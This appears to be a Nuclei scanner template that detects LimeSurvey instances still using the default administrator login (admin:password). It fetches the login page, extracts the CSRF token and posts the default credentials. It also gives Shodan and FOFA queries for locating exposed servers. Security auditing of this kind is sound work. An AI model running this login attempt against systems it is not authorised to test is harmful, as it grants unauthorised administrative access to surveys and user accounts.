id: limesurvey-default-login

info:
  name: LimeSurvey - Default Admin Credentials
  author: 0x_Akoko
  severity: high
  description: |
    Detected the LimeSurvey survey management platform was found to be using default administrator credentials (admin:password). An attacker was able to gain full administrative access to manage surveys, responses, and user accounts.
  reference:
    - https://github.com/LimeSurvey/LimeSurvey/blob/master/application/config/config-defaults.php
    - https://www.limesurvey.org/manual/Optional_settings
  metadata:
    verified: true
    max-request: 2
    vendor: limesurvey
    product: limesurvey
    shodan-query: 'http.title:"LimeSurvey"'
    fofa-query: 'title="LimeSurvey"'
  tags: limesurvey,default-login,auth

variables:
  username: "admin"
  password: "password"

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /index.php/admin/authentication/sa/login HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        internal: true
        dsl:
          - 'status_code == 200'
          - 'contains_all(body, "LimeSurvey", "loginform")'
        condition: and

    extractors:
      - type: regex
        name: csrf_token
        part: header
        group: 1
        internal: true
        regex:
          - 'YII_CSRF_TOKEN=([^;]+)'

  - raw:
      - |
        POST /index.php/admin/authentication/sa/login HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded
        Cookie: YII_CSRF_TOKEN={{csrf_token}}

        user={{username}}&password={{password}}&YII_CSRF_TOKEN={{csrf_token}}&login_submit=login

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 302'
          - 'contains_any(to_lower(header), "adminsidepanel", "dashboard", "admin/index")'
        condition: and
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